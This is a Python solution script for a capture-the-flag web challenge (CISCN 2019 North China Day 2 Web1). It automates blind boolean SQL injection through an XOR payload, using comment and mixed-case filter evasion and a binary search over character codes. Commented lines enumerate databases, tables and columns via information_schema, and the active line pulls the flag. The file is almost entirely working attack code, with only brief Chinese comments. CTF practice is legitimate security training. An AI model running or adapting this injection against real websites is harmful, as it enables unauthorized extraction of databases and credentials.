[CISCN 2019华北Day2]Web1

import requests
import time

url = "http://node2.anna.nssctf.cn:28326/index.php"
payload = {
  "id" : ""
}
result = ""
for i in range(1,100):
  l = 33
  r =130
  mid = (l+r)>>1
  while(l<r):
    # 跑库名
    #"0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{0},1))>{1})".format(i, mid)

    # 跑表名
    #"0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctf'),{0},1))>{1})".format(i, mid)

    # 跑列名
    #"0^" + "(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'f111'),{0},1))>{1})".format(i,mid)

    #######################
    #"0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)

    payload["id"] ="0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)

    html = requests.post(url,data=payload)
    print(payload)
    if "Hello" in html.text:
      l = mid+1
    else:
      r = mid
    mid = (l+r)>>1
  if(chr(mid)==" "):
    break
  result = result + chr(mid)
  print(result)
print("flag: " ,result)